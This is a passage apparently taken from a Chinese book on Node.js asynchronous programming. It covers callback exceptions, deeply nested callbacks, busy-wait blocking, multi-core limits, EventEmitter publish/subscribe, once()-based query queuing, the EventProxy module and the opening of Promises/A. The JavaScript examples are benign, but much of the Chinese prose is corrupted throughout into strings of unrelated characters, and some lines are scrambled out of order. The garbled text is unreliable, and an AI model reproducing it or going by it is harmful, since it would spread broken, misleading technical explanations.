ុѥ数。这਒։着ݟ౦ុٿѥ数中有ऩ࣡ઊѢ，࠱会ᤈ入catch()̼ᆉڰ中੯ᛠ，于是ុٿѥ数

 会ᜁ੯ᛠˏ次。这௬ཨ不是ᮔయ的情х，可能࠭ᒰˉ务ຈ˼。ൣᆷ的૬ᖌ应ॆ为Ὑ࠱

try { 

  req.body = JSON.parse(buf, options.reviver); 

} catch (err){ 

  err.body = buf; 
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  err.status = 400; 

  return callback(err); 

} 

callback(); 

在编写ऩ൥ழก时，只要࠱ऩ࣡ൣᆷ͛ڠᤫፋ用ਖ਼的ុٿழกԀ可，௃ᮋ过多ူܪ。 

2. 䲒⚍2˖ߑ᭄ጠ༫䖛⏅ 
这੊᝴是Nodeᜁ人មჀ最多的ڠழ。在前端开发中，DOM事͇相对Ꮺ言不会ߚ在̈相Ιᠺ

੊ᭉ要多个事͇一起Ө作的场景，ᣖߚ࠵在ऩ൥多ጞΙᠺ的情х。下᭦的̼ᆉ为ग़൤࿗立的DOM

事͇ፄ定Ὑ 

$(selector).click(function (event) { 

  // TODO 

}); 

$(selector).change(function (event) { 

  // TODO 

}); 

ͭ是对于NodeᏪ言，事务中ߚ在多个ऩ൥ុ用的场景ඊඊᄊ是。ඊݟ一个遍Ԋ目े的ୱ作，

Ф̼ᆉݟ下Ὑ 

fs.readdir(path.join(__dirname, '..'), function (err, files) { 

  files.forEach(function (filename, index) { 

    fs.readFile(filename, 'utf8', function (err, file) { 

      // TODO 

    }); 

  }); 

}); 

对于上ᤗ场景，由于ˏ次ୱ作ߚ在Ιᠺ关系，ѥ数ݒࢥ的ᛠ为也᝴情有可ԓ。ᥦ˥，在网页

ມ౿的过程中，᤯࣡ᭉ要数૵、ഴ౛、ᠪ源஠͇，这ʻ者̈相之ᫍ并不Ιᠺ，ͭ最ጻມ౿ፆ౦中

ʻ者Ꭴ一不可。ݟ౦᧓用᳭认的ऩ൥ழกុ用，程序也᝴࠱会ݟ下੝ᇧὙ 

fs.readFile(template_path, 'utf8', function (err, template) { 

  db.query(sql, function (err, data) { 

    l10n.get(function (err, resources) { 

      // TODO 

    }); 

  }); 

}); 

这在ፆ౦的γ᝼上是没有问题的，问题在于这并没有ѽ用好ऩ൥I/Oࣛ౎的并ᛠ优势。这是

ऩ൥编程的Цۋ问题，为൤有人డឬ，因为ݒࢥ的深ऎ，ల౎最ᬱᄹ的̼ᆉॸ࠱从Node中ភ生。

ͭ是实ᬄ情х没有想៵३ᥦ˥ጁዼ，且ᄹ后᭦ݟʹ解决ឞ问题。 

3. 䲒⚍3˖䰏าҷⷕ 
对于ᤈ入JavaScriptˆႌ不ˣ的开发者，ඊᣖጩ᫐这门编程语言ቤཨ没有sleep()这样的线程

ෛᅓҩ能，׬࿗能用于ढ时ୱ作的只有setInterval()֖setTimeout()这ˏ个ѥ数。ͭ是ᝧ人৲ᝲ

的是，这ˏ个ѥ数并不能᫽܊后续̼ᆉ的૆续੯ᛠ。੝以，有多Ӧ的开发者会写Ѣ下ᤗ这样的̼

ᆉ౎实ဗsleep(1000)的஌౦Ὑ 
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// TODO 

var start = new Date(); 

while (new Date() - start < 1000) { 

  // TODO 

} 

// Ⴔᄲ阻塞的代码 

ͭ是事实是ጁዼ的，这ൿ̼ᆉ会૆续ӳ用CPUᤈᛠѻற，与ᄽൣ的线程ෛᅓ相Ԝ甚ᤉ，߸К

ᆠڭ了事͇९环的ុऎ。由于NodeӬ线程的ԓ因，CPUᠪ源К都会用于为这ൿ̼ᆉ服务，࠭ᒰФ

余͉ʹ请ය都会३不到ֽ应。 

᥄᜸这样的ᭉය时，在统一᜺Ѳˉ务᤾ᣣ之后，ុ用setTimeout()的஌౦会ఝ好。  

4. 䲒⚍4˖໮㒓⿟㓪⿟ 
我们在ៀ᝶JavaScript的时候，᤯࣡ៀ的是Ӭ一线程上੯ᛠ的̼ᆉ，这在เ᜾٧中ૈ的是

JavaScript੯ᛠ线程与UIມ౿Р用的一个线程὚在Node中，只是没有UIມ౿的部分，ഴ۲ۋ本相Վ。

对于服务٧端Ꮺ言，ݟ౦服务٧是多ನCPU，Ӭ个Nodeᤈ程实质上是没有Ќ分ѽ用多ನCPU的。

ᬣ着ဗ今ˉ务的复杂Ӑ，对于多ನCPUѽ用的要ය也ᡔ౎ᡔ高。เ᜾٧ଡѢ了Web Workers，它᤯

过࠱JavaScript੯ᛠ与UIມ౿分ሎ，可以很好ڠѽ用多ನCPU为大量᝟ኪ服务。Վ时前端Web 

Workers也是一个ѽ用๖ো机҃Ջူ使用多ನCPU的ူ想ഴۋ。图4-3为Web Workers的工作ᇧ਒图。 

 

图4-3 Web Workers的工作ᇧ਒图 

᥋ਲ਼在于前端เ᜾ߚ٧在对ಕэ的໔后性，Web Workers并没有广ค应用起౎。Բ外Web 

Workers能解决ѽ用CPU֖ђ࠵᫽܊UIມ౿，ͭ是不能解决UIມ౿的஌ည问题。Nodeύ᧜了这个

ഴय，child_process是Ф۲ᆨAPI，clusterഴڰ是ఝ深ࡎ次的应用。ύүWeb Workers的ഴय，开

发人տ要ఝ多ڠԜ᭦˙ᡴ线程的编程，这对于以ज़的JavaScript编程经ᰍ是ᣖ࠵Ꮵᘼ的。在ኃ9ብ

中，我们࠱សጹ分ౡNode的ᤈ程，以ࡘ开这部分内ࠓ。 

5. 䲒⚍5˖ᓖℹ䕀ৠℹ 
习਄ऩ൥编程的Վ学，也᝴能ܴ从ࠓ᭦对ऩ൥编程ࣛ౎的ҝ产品，ඊុٿݒࢥݟ、ˉ务分஘
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ኍ问题。NodeଡΘ了绝大部分的ऩ൥API֖࠵量的Վ൥API，ϥ࠶Ѣဗ的Վ൥ᭉය࠱会因为没有

Վ൥APIᝧ开发者቉ཨ௃੝᤟从。目前，Node中试图Վ൥य编程，ͭ并不能३到ԓ生ஂ૆，ᭉ要

ύүं੊者编ដኍ੣ൿ౎实ဗ。ͭ对于ऩ൥ុ用，᤯过ᓡ好的ึ程ଌ҃，还是能ܴ࠱᤾ᣣ೚ူ੆

ᮊ序य的्य。 

4.3� ᓖℹ㓪⿟㾷އᮍḜ 

前᭦Ѵˠ了因ऩ൥编程ࣛ౎的一些问题，与ऩ൥编程ଡӣ的性能੆౦相ඊ，编程过程ᄹ起౎

ͪ˪没有想៵中ᥦ˥Ꮎ好，ͭ 是事实ԁ也没有ᥦ˥ጁዼ。与问题相ඊ，解决问题的ழ಴঳是ఝ多，

本ᓫࡘ࠱开Չ个Цۋ的解决ழ಴。 

目前，ऩ൥编程的˞要解决ழ಴有ݟ下3ሗ。 

� 事͇发࣊/ᝠ阅ഴय。 

� Promise/Deferredഴय。 

� ึ程ଌ҃ं。 

4.3.1� џӊথᏗ/䅶䯙῵ᓣ 

事͇ᄢե٧ഴय是一ሗ广ค用于ऩ൥编程的ഴय，是ុٿѥ数的事͇Ӑ，Ԡሥ发࣊/ᝠ阅ഴय。 

Node自ᢵଡΘ的eventsഴڰ（http://nodejs.org/docs/latest/api/events.html）是发࣊/ᝠ阅ഴय的

一个ኤӬ实ဗ，Node中部分ഴڰ都继੽自它，这个ഴڰඊ前端เ᜾٧中的大量DOM事͇ኤӬ，

不ߚ在事͇гง，也不ߚ在preventDefault()、stopPropagation()֖stopImmediatePropagation()

ኍ ଌ ҃ 事 ͇ ͛ ᤫ 的 ழ ก 。 它 Х 有 addListener/on() 、 once() 、 removeListener() 、

removeAllListeners()֖emit()ኍ۲本的事͇ᄢեഴय的ழก实ဗ。事͇发࣊/ᝠ阅ഴय的ୱ作极

ФኤӬ，ᇧΒ̼ᆉݟ下Ὑ 

// 订阅 

emitter.on("event1", function (message) { 

  console.log(message);   

}); 

// 发布 

emitter.emit('event1', "I am message!"); 

可以ᄹ到，ᝠ阅事͇就是一个高᫼ѥ数的应用。事͇发࣊/ᝠ阅ഴय可以实ဗ一个事͇与多

个ុٿѥ数的关ᐎ，这些ុٿѥ数Ԡሥ为事͇Νե٧。᤯过emit()发࣊事͇后，๖ো会立Ԁ͛ᤫ

ፋॆ前事͇的੝有Νե٧੯ᛠ。Νե٧可以很灵活ڠຊ加֖Ѻᬓ，使३事͇֖Хͳူܪ᤾ᣣ之ᫍ

可以很ᣏౚڠ关ᐎ֖解ᏸ。 

事͇发࣊/ᝠ阅ഴय自ᢵ并௃Վ൥֖ऩ൥ុ用的问题，ͭ在Node中，emit()ុ用多Ӧ是ͦᬣ

事͇९环Ꮺऩ൥触发的，੝以我们ឬ事͇发࣊/ᝠ阅广ค应用于ऩ൥编程。 

事͇发࣊/ᝠ阅ഴय࣡࣡用౎解ᏸˉ务᤾ᣣ，事͇发࣊者௃ᮋ关ซᝠ阅的Νեݟ٧ʹ实ဗˉ

务᤾ᣣ，甚至不用关ซ有多࠵个Νեߚ٧在，数૵᤯过๖ো的ழय可以很灵活͛ڠᤫ。在一些Ц
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௛ࠓ࠱，ᜈ在组͇内部࠯不Ԫ的部分࠱，ᜈ࠯ᝠ阅ഴयᤈᛠ组͇/࣊场景中，可以᤯过事͇发ۋ

ԪӐ、ᭉ自定˦的部分᤯过事͇఑᭚ፋ外部ူܪ，这是一ሗЦۋ的᤾ᣣ分ሎழय。在这ሗ事͇发

ᝠ阅य组͇中，事͇的᝹᝟᭣࣡᧗要，因为它关˪外部ុ用组͇时是否优ᬵ，从౼ሗᝇऎ౎/࣊

ឬ事͇的᝹᝟就是组͇的接ԯ᝹᝟。 

从Բ一个ᝇऎ౎ᄹ，事͇Νե٧ഴय也是一ሗᨈߔ（hook）机҃，ѽ用ᨈ࠭ߔѢ内部数૵੊

࿃খፋ外部的ុ用者。Node中的很多对៵大多Х有ᳫᄣ的ྱཁ，ҩ能ཁᣖݟ，࠵౦不᤯过事͇ᨈ

的ழय，可ߔ的्य，我们就௃กᖌԨ对៵在ᤁᛠయᫍ的中ᫍϘ੊内部࿃খ。这ሗ᤯过事͇ᨈߔ

以使编程者不用关ซ组͇是ݟʹը动֖੯ᛠ的，只ᭉ关ซ在ᭉ要的事͇ཁ上Ԁ可。下᭦的HTTP

请ය是Цۋ场景Ὑ 

var options = { 

  host: 'www.google.com', 

  port: 80, 

  path: '/upload', 

  method: 'POST' 

}; 

var req = http.request(options, function (res) { 

  console.log('STATUS: ' + res.statusCode); 

  console.log('HEADERS: ' + JSON.stringify(res.headers)); 

  res.setEncoding('utf8'); 

  res.on('data', function (chunk) { 

    console.log('BODY: ' + chunk); 

  }); 

  res.on('end', function () { 

    // TODO 

  }); 

}); 

req.on('error', function (e) { 

  console.log('problem with request: ' + e.message); 

}); 

// write data to request body 

req.write('data\n'); 

req.write('data\n'); 

req.end(); 

在这ൿHTTP请ය的̼ᆉ中，程序տ只ᭉ要࠱᜼线உ在error、data、end这些ˉ务事͇ཁ上

Ԁ可，至于内部的ึ程ݟʹ，௃ᭉ过于关ซ。 

Ϙ३一ଡ的是，Node对事͇发࣊/ᝠ阅的机҃做了一些ᮨ外的ူܪ，这大多是۲于ϣܤ性Ꮺ

Ꮵᘼ的。下᭦为ˏ个Хͳ的ጹᓫཁ。 

᝹᝟与Node自ᢵӬ线ܪ会३到一్᝜ն。这一࠱，౦对一个事͇ຊ加了ᡓ过10个Νե٧ݟ �

程ᤁᛠ有关，᝹᝟者认为Νե٧ܹ多可能࠭ᒰ内ߚ෹໣，੝以ߚ在这样一్᝜ն。ុ用 

 emitter.setMaxListeners(0)὚可以࠱这个ᬌ҃Ԝ૿。Բ一ழ᭦，由于事͇发࣊会ल起一

系ѴΝե٧੯ᛠ，ݟ౦事͇相关的Νե٧过多，可能ߚ在过多ӳ用CPU的情景。 

� 为了ူܪऩ࣡，EventEmitter对៵对error事͇ᤈᛠ了ྱ൳对य़。ݟ౦ᤁᛠయᫍ的ᩱឧ触

发了error事͇，EventEmitter会೜ಉ是否有对error事͇ຊ加过Νեݟ。٧౦ຊ加了，这
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个ᩱឧ࠱会̓由ឞΝեူܪ٧，否Ѷ这个ᩱឧ࠱会作为ऩ࣡ઊѢ。ݟ౦外部没有૬ᖌ这

个ऩ࣡，࠱会ल起线程ᤝѢ。一个ϣܤ的EventEmitter实Β应ឞ对error事͇做ူܪ。 

1. 㒻ᡓevents῵ഫ 
实 ဗ 一 个 继 ੽ EventEmitter的 ዜ 是 Ӡ 分 ኤ Ӭ 的 ， 以 下 ̼ ᆉ 是 Node 中 Stream对 ៵ 继 ੽

EventEmitter的ΒߔὙ 

var events = require('events'); 

 

function Stream() { 

  events.EventEmitter.call(this); 

} 

util.inherits(Stream, events.EventEmitter); 

Node在utilഴڰ中࠯ᜈ了继੽的ழก，੝以൤ܪ可以很Φѽុڠ用。开发者可以᤯过这样的

ழयᣏౚ继੽EventEmitterዜ，ѽ用事͇机҃解决ˉ务问题。在NodeଡΘ的ನ心ഴڰ中，有ᤂӦ

数都继੽自EventEmitter。 

2. ߽⫼џӊ䯳߫㾷އ䲾ዽ䯂乬 
在事͇ᝠ阅/发࣊ഴय中，᤯࣡也有一个once()ழก，᤯过它ຊ加的Νե٧只能੯ᛠ一次，在

੯ᛠ之后就会࠱它与事͇的关ᐎሧᬓ。这个ྱ性࣡࣡可以ࣞү我们过໙一些᧗复性的事ֽ͇应。

下᭦我们̭ፀ一下ݟʹ᧓用once()౎解决ᭂ࢜问题。 

在᝟ኪ机中，ᎀߚ由于ߚஉ在内ߚ中，᝺问ᤳऎӠ分ঋ，࣡࣡用于加ᤳ数૵᝺问，ᝧ绝大多

数的请ය不ॸ᧗复Ԝ做一些ͯ஌的数૵读Ԩ。੝៊ᭂ࢜问题，就是在高᝺问量、大并发量的情х

下ᎀܾߚ஌的情景，൤时大量的请යՎ时๘入数૵ं中，数૵ं௃กՎ时੽ԩݟ൤大的ಉល请ය，

ᤈᏪज़前ॕֽ到网ቢஞͳ的ֽ应ᤳऎ。 

以下是一్数૵ंಉល语Ա的ុ用Ὑ 

var select = function (callback) { 

  db.select("SQL", function (results) { 

    callback(results); 

  }); 

}; 

大，Վ一ԱSQL会ᜁ发ᤞࢼ౦᝺问量ݟ在数૵的，Ꮺߚ中是不ߚ౦ቢཁѷ好ը动，这时ᎀݟ

到数૵ं中反复ಉល，会ॕֽ服务的ஞͳ性能。一ሗஇᤈழ಴是ຊ加一个࿃খᩙ，相关̼ᆉݟ下Ὑ 

var status = "ready"; 

var select = function (callback) { 

  if (status === "ready") { 

    status = "pending"; 

    db.select("SQL", function (results) { 

      status = "ready"; 

      callback(results); 

    }); 

  } 

}; 

ͭ是在这ሗ情景下，ᤋ续ڠ多次ុ用select()时，只有ኃ一次ុ用是生஌的，后续的select()
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是没有数૵服务的，这个时候可以ल入事͇᫲Ѵ，相关̼ᆉݟ下Ὑ 

var proxy = new events.EventEmitter(); 

var status = "ready"; 

var select = function (callback) { 

  proxy.once("selected", callback); 

  if (status === "ready") { 

    status = "pending"; 

    db.select("SQL", function (results) { 

      proxy.emit("selected", results); 

      status = "ready"; 

    }); 

  } 

}; 

这᧖我们ѽ用了once()ழก，࠱੝有请ය的ុٿ都Ԍ入事͇᫲Ѵ中，ѽ用Ф੯ᛠ一次就会࠱

ᄢ᜼٧ሧᬓ的ྱཁ，γ᝼ඇ一个ុٿ只会ᜁ੯ᛠ一次。对于相Վ的SQL语Ա，γ᝼在Վ一个ಉល

开始到ፆో的过程中බᤉ只有一次。SQL在ᤈᛠಉល时，新到౎的相Վុ用只ᭉ在᫲Ѵ中ኍय़数

૵就፛Ԁ可，一ெಉលፆో，३到的ፆ౦可以ᜁ这些ុ用РՎ使用。这ሗழय能ᓫᄴ᧗复的数૵

ंុ用产生的开ᩘ。由于NodeӬ线程੯ᛠ的ԓ因，൤ܪ௃ᮋઝ心࿃খՎ൥问题。这ሗழयФ实也

可以应用到Ф他ᤉ程ុ用的场景中，Ԁ使外部没有ᎀߚን႔，也能有஌ᓫᄴ᧗复开ᩘ。 

൤ܪ可能因为ߚ在Νե٧过多ल发的᝜ն，ᭉ要ុ用setMaxListeners(0)ሧᬓ૿᝜ն，੊者

᝹ఝ大的᝜ն᫟Ϙ。 

once()ழก产生的஌౦，也可以在ᗂՏ的Gearmanऩ൥应用ಳ౵中实ဗ。ͭ在JavaScript中，

实ဗ这个஌౦Ӡ分ࠓ௛。 

3. ໮ᓖℹП䯈ⱘण԰ᮍḜ 
事͇发࣊/ᝠ阅ഴय有着它的优ཁ。ѽ用高᫼ѥ数的优势，Νե٧作为ុٿѥ数可以ᬣ਒ຊ

加֖Ѻᬓ，它ࣞү开发者ᣏౚူܪᬣ时可能ຊ加的ˉ务᤾ᣣ。也可以ᬥሎˉ务᤾ᣣ，γ૆ˉ务᤾

ᣣӬЊ的ᐋ᠉Ӭ一。一ᓉᏪ言，事͇与Νե٧的关系是一对多，ͭ在ऩ൥编程中，也会Ѣဗ事͇

与Νե٧的关系是多对一的情х，也就是ឬ一个ˉ务᤾ᣣ可能Ιᠺˏ个᤯过ុٿ੊事͇͛ᤫ的ፆ

౦。前᭦ଡԢ的ݒࢥុٿ过深的ԓ因Ԁ是ݟ൤。 

这᧖我们࠼试᤯过ԓ生̼ᆉ解决þᬱཁ2ÿ中为了最ጻፆ౦的ူܪᏪ࠭ᒰ可以并ᛠុ用ͭ实

ᬄ只能˘ᛠ੯ᛠ的问题。我们的目ಕ是௄要享ԩऩ൥I/Oࣛ౎的性能ଡӣ，也要γ૆ᓡ好的编ᆉ

᮲ಪ。这᧖以ມ౿页᭦੝ᭉ要的ഴ౛读Ԩ、数૵读Ԩ֖本ڠӐᠪ源读Ԩ为Βኤ要̭ፀ一下，相关

̼ᆉݟ下Ὑ 

var count = 0; 

var results = {}; 

var done = function (key, value) { 

  results[key] = value; 

  count++; 

  if (count === 3) { 

    // 渲染ᄻ面 

    render(results); 

  } 
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}; 

 

fs.readFile(template_path, "utf8", function (err, template) { 

  done("template", template); 

}); 

db.query(sql, function (err, data) { 

  done("data", data); 

}); 

l10n.get(function (err, resources) { 

  done("resources", resources);  

}); 

由于多个ऩ൥场景中ុٿѥ数的੯ᛠ并不能γ᝼ᮊ序，且ុٿѥ数之ᫍ̈相没有͉ʹ̓ᬶ，

੝以ᭉ要ύү一个ኃʻழѥ数֖ኃʻழԪ量౎ူܪऩ൥Ө作的ፆ౦。᤯࣡，我们ઁ这个用于೜测

次数的Ԫ量Զ做אУԪ᧙。ᐒ௙的你也᝴已经想到ѽ用ϟѥ数౎אူܪУԪ量֖ኃʻழѥ数的关

系了，相关̼ᆉݟ下Ὑ 

var after = function (times, callback) { 

  var count = 0, results = {}; 

  return function (key, value) { 

    results[key] = value; 

    count++; 

    if (count === times) { 

      callback(results); 

    } 

  }; 

}; 

 

var done = after(times, render); 

上ᤗழ಴实ဗ了多对一的目的。ݟ౦ˉ务继续ܘ᫁，我们Ιཨ可以继续ѽ用发࣊/ᝠ阅ழय

౎߸੆多对多的ழ಴，相关̼ᆉݟ下Ὑ 

var emitter = new events.Emitter(); 

var done = after(times, render); 

 

emitter.on("done", done); 

emitter.on("done", other); 

 

fs.readFile(template_path, "utf8", function (err, template) { 

  emitter.emit("done", "template", template); 

}); 

db.query(sql, function (err, data) { 

  emitter.emit("done", "data", data); 

}); 

l10n.get(function (err, resources) { 

  emitter.emit("done", "resources", resources); 

}); 

这ሗழ಴ፆՋ了前者用ኤӬ的ϟѥ数߸੆多对一的收ஔ֖事͇ᝠ阅/发࣊ഴय中一对多的发஘。 

在上᭦的ழก中，有一个̽ុ用者不ᥦ˥ᒽ服的问题，ᥦ就是ុ用者要Ԝэܫ这个done()ѥ

数，以Ԣ在ុٿѥ数中ᭉ要从ፆ౦中ઁ数૵一个一个ଡԨѢ౎，вᤈᛠူܪ。 
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Բ一个ழ಴Ѷ是౎自ቷ者自己写的EventProxyഴڰ，它是对事͇ᝠ阅/发࣊ഴय的ੰЌ，可以

自由ᝠ阅组Ջ事͇。由于Ιே᧓用的是事͇ᝠ阅/发࣊ഴय，与NodeӠ分ݎՋ，相关̼ᆉݟ下Ὑ 

var proxy = new EventProxy(); 

 

proxy.all("template", "data", "resources", function (template, data, resources) { 

  // TODO 

}); 

 

fs.readFile(template_path, "utf8", function (err, template) { 

  proxy.emit("template", template); 

}); 

db.query(sql, function (err, data) { 

  proxy.emit("data", data); 

}); 

l10n.get(function (err, resources) { 

  proxy.emit("resources", resources); 

}); 

EventProxyଡΘ了一个all()ழก౎ᝠ阅多个事͇，ॆ ඇ个事͇都ᜁ触发之后，Νե٧才会੯

ᛠ。Բ外的一个ழก是tail()ழก，它与all()ழก的区Ѿ在于all()ழก的Νե٧在໗ᡛ్͇之

后只会੯ᛠ一次，tail()ழก的Νե٧Ѷ在໗ᡛ్͇时੯ᛠ一次之后，ݟ౦组Ջ事͇中的౼个事

͇ᜁв次触发，Νե٧会用最新的数૵继续੯ᛠ。 

all()ழกࣛ౎的Բ一个இᤈѶ是Ὑ在Νե٧中ᤄٿ数૵的ԟ数Ѵᛪ与ᝠ阅组Ջ事͇的事͇

Ѵᛪ是一ᒰ对应的。 

ᬓ൤之外，在ऩ൥的场景下，我们࣡࣡ᭉ要从一个接ԯ多次读Ԩ数૵，൤时触发的事͇Տ੊

᝴是相Վ的。EventProxyଡΘ了after()ழก౎实ဗ事͇在੯ᛠ多࠵次后੯ᛠΝե٧的Ӭ一事͇组

Ջᝠ阅ழय，ᇧΒ̼ᆉݟ下Ὑ 

var proxy = new EventProxy(); 

 

proxy.after("data", 10, function (datas) { 

  // TODO 

}); 

这ൿ̼ᆉᛪᇧ੯ᛠ10次data事͇后੯ᛠΝե٧。这个Νե٧३到的数૵为10次૊事͇触发次

序ଅ序的数组。 

EventProxyഴڰᬓ了可以应用于Node中外，还可以用在前端เ᜾٧中。 

4. EventProxyⱘॳ⧚ 
EventProxy౎自于Backbone的事͇ഴڰ，Backbone的事͇ഴڰ是Model、Viewഴڰ的۲ᆨҩ

能，在前端有广ค的使用。它在ඇ个᭣all事͇触发时都会触发一次all事͇，相关̼ᆉݟ下Ὑ 

// Trigger an event, firing all bound callbacks. Callbacks are passed the 

// same arguments as `trigger` is, apart from the event name. 

// Listening for `"all"` passes the true event name as the first argument 

trigger : function(eventName) { 

  var list, calls, ev, callback, args; 

  var both = 2; 

  if (!(calls = this._callbacks)) return this; 
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  while (both--) { 
    ev = both ? eventName : 'all'; 
    if (list = calls[ev]) { 
      for (var i = 0, l = list.length; i < l; i++) { 
        if (!(callback = list[i])) { 
          list.splice(i, 1); i--; l--; 
        } else { 
          args = both ? Array.prototype.slice.call(arguments, 1) : arguments; 
          callback[0].apply(callback[1] || this, args); 
        } 
      } 
    } 
  } 
  return this; 
} 

EventProxyѶ是࠱allॆ做一个事͇ึ的વ੔ࡎ，在Ф中ซ入一些ˉ务౎ူܪӬ一事͇௃ก解

决的ऩ൥ူܪ问题。ዜͪ的ੰࡘழก还有all()、tail()、after()、not()֖any()ኍ。 

5. EventProxyⱘᓖᐌ໘⧚ 
EventProxy在事͇发࣊/ᝠ阅ഴय的۲ᆨ上还߸ؒ了ऩ࣡ူܪ。在ऩ൥ழก中，ऩ࣡ူܪᭉ要

ӳ用一定ඊΒ的ዴҦ。在过Ԝ一ൿ时ᫍ内，我们都是᤯过ᮨ外ຊ加error事͇౎ᤈᛠऩ࣡统一ܪ

ူ的，̼ᆉ大ᒰݟ下Ὑ 

exports.getContent = function (callback) { 
 var ep = new EventProxy(); 
  ep.all('tpl', 'data', function (tpl, data) { 
    // 成功回调 
    callback(null, { 
      template: tpl, 
      data: data 
    }); 
  }); 
  // ኎དerror事件 
  ep.bind('error', function (err) { 
    // ႂ载ۖ໯有处理函数 
    ep.unbind(); 
    // 异常回调 
    callback(err); 
  }); 
  fs.readFile('template.tpl', 'utf-8', function (err, content) { 
    if (err) { 
      // ᅃڋ发生异常ǈᅃୱ঍给error事件的处理函数处理 
      return ep.emit('error', err); 
    } 
    ep.emit('tpl', content); 
  }); 
  db.get('some sql', function (err, result) { 
    if (err) { 
      // ᅃڋ发生异常ǈᅃୱ঍给error事件的处理函数处理 
      return ep.emit('error', err); 
    } 
    ep.emit('data', result); 
  }); 
}; 
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因为ऩ࣡ူܪ的ԓ因，̼ ᆉ量一下ߔ多起౎了，ᏪEventProxy在实践过程中இᤈ了这个问题，

相关̼ᆉݟ下Ὑ 

exports.getContent = function (callback) { 

 var ep = new EventProxy(); 

  ep.all('tpl', 'data', function (tpl, data) { 

    // 成功回调 

    callback(null, { 

      template: tpl, 

      data: data 

    }); 

  }); 

  //ӿ定错误处理函数 

  ep.fail(callback); 

 

  fs.readFile('template.tpl', 'utf-8', ep.done('tpl')); 

  db.get('some sql', ep.done('data')); 

}; 

在上ᤗ̼ᆉ中，EventProxyଡΘ了fail()֖done()这ˏ个实Βழก౎优Ӑऩ࣡ူܪ，使३开

发者࠱ዴҦ关ซ在ˉ务部分，Ꮺ不是在ऩ࣡૬ᖌ上。 

关于fail()ழก的实ဗ，可以ԟ᜸以下的Ԫ૰Ὑ 

ep.fail(callback); 

上᭦这ᛠ̼ᆉኍ͈于下᭦的̼ᆉὙ 

ep.fail(function (err) { 

  callback(err); 

}); 

Ԡኍ͈于Ὑ 

ep.bind('error', function (err) { 

  // ႂ载ۖ໯有处理函数 

  ep.unbind(); 

  // 异常回调 

  callback(err); 

}); 

Ꮺdone()ழก的实ဗ，也可ԟ᜸以下的Ԫ૰Ὑ 

ep.done('tpl'); 

它ኍ͈于Ὑ 

function (err, content) { 

  if (err) { 

    // ᅃڋ发生异常ǈᅃୱ঍给error事件处理函数处理 

    return ep.emit('error', err); 

  } 

  ep.emit('tpl', content); 

} 

Վ时，done()ழก也接ԩ一个ѥ数作为ԟ数，相关̼ᆉݟ下੝ᇧὙ 
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ep.done(function (content) { 

  // TODO 

  // ኄ૛࿮Ⴗ੊୯异常 

  ep.emit('tpl', content); 

}); 

这ൿ̼ᆉኍ͈于Ὑ 

function (err, content) { 

  if (err) { 

    // ᅃڋ发生异常ǈᅃୱ঍给error事件的处理函数处理 

    return ep.emit('error', err); 

  } 

  (function (content) { 

    // TODO 

    // ኄ૛࿮Ⴗ੊୯异常 

    ep.emit('tpl', content); 

  }(content)); 

} 

ॆ只͛入一个ុٿѥ数时，ᭉ要੣工ុ用emit()触发事͇。Բ一个இᤈ是Վ时͛入事͇Տ֖

 下Ὑݟѥ数，相关̼ᆉុٿ

ep.done('tpl', function (content) { 

  // content.replace('s', 'S'); 

  // TODO 

  // ࿮Ⴗ关注异常 

  return content; 

}); 

在这ሗழय下，我们௃ᮋ在ុٿѥ数中ူܪ事͇的触发，只ᭉူܪ࠱过的数૵ᤄٿԀ可。ᤄ

 。在done()ழก中用作事͇的数૵Ꮺ触发࠱的ፆ౦ٿ

这᧖的fail()֖done()Ӡ分ዜͪPromiseഴय中的fail()֖done()。૰ԱពᏪ言，这可以ኪ作事

͇发࣊/ᝠ阅ഴयՓPromiseഴय的ύ᧜。这样的߸ؒ௄ଡӣ了程序的ϣܤ性，Վ时也ᬋͯ了̼ᆉ量。 

4.3.2� Promise/Deferred῵ᓣ 

使用事͇的ழय时，੯ᛠึ程ᭉ要ᜁᮔЎ᝹定。ԀΦ是分ஂ，也ᭉ要ᮔЎ᝹定，这是由发࣊

/ᝠ阅ഴय的ᤁᛠ机҃੝决定的。下᭦为௾᤯的Ajaxុ用Ὑ 

$.get('/api', { 

  success: onSuccess, 

  error: onError, 

  complete: onComplete 

}); 

在上᭦的ऩ൥ុ用中，ॸᮋː៞ڠ᝹Ꮅ目ಕ。ᥦ˥是否有一ሗЎ੯ᛠऩ൥ុ用，ढᤌ͛ᤫܪ

ူ的ழयփ὞ኔ಴是Promise/Deferredഴय。 

Promise/Deferredഴय在JavaScriptಳ౵中最௉Ѣဗ于Dojo的̼ᆉ中，ᜁ广为੝ᅻѶ౎自于

jQuery 1.5ྟ本，ឞྟ本几˪᧗写了Ajax部分，使३ុ用Ajax时可以᤯过ݟ下的्यᤈᛠὙ 
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$.get('/api') 

  .success(onSuccess) 

  .error(onError) 

  .complete(onComplete); 

这使३Ԁ使不ុ用success()、error()ኍழก，Ajax也会੯ᛠ，这样的ុ用ழयඊᮔЎ͛入

Ꮺ᤯过Deferred对៵，可，ុٿ一个ူܪᝧ人᜿३ᒽ᤟一些。在ԓ始的API中，一个事͇只能ុٿ

以对事͇加入͉਒的ˉ务ူܪ᤾ᣣ，ᇧΒ̼ᆉݟ下Ὑ 

$.get('/api') 

  .success(onSuccess1) 

  .success(onSuccess2); 

Promise/Deferredഴय在2009年时ᜁKris Zypઙ៵为一个ଡᝫᕘ಴，发࣊在CommonJS᜺ᔴ中。

ᬣ着使用Promise/Deferredഴय的应用ᤩຑܘ多，CommonJSᕘ಴目前已经ઙ៵Ѣ了Promises/A、

Promises/B、Promises/D这样Цۋ的ऩ൥Promise/Deferredഴۋ，这使३ऩ൥ୱ作可以以一ሗ优ᬵ

的ழयѢဗ。 

ऩ൥的广ऎ使用使३ݒࢥ、ុٿѢဗ，ͭ是一ெѢဗ深ऎ的ݒࢥ，就会ᝧ编程的ͳᰍԪ३不

ਏঋ，ᏪPromise/Deferredഴय在一定程ऎ上ᎀ解了这个问题。这᧖我们࠱着᧗̭ፀPromises/A౎

以ཁ̼᭦̭ፀPromise/Deferredഴय。 

1. Promises/A 
Promise/DeferredഴयФ实包դˏ部分，ԀPromise֖Deferred。这᧖ఆ且不ଡˏ者的区Ѿ是̣

˥，ЎᄹᄹPromises/A的ᛠ为ա。 

Promises/Aଡᝫ对Ӭ个ऩ൥ୱ作做Ѣ了这样的ઙ៵定˦，Хͳݟ下੝ᇧ。 

� Promiseୱ作只会ܪ在3ሗ࿃খ的一ሗὙల߸੆খ、߸੆খ֖ܾ᠋খ。 

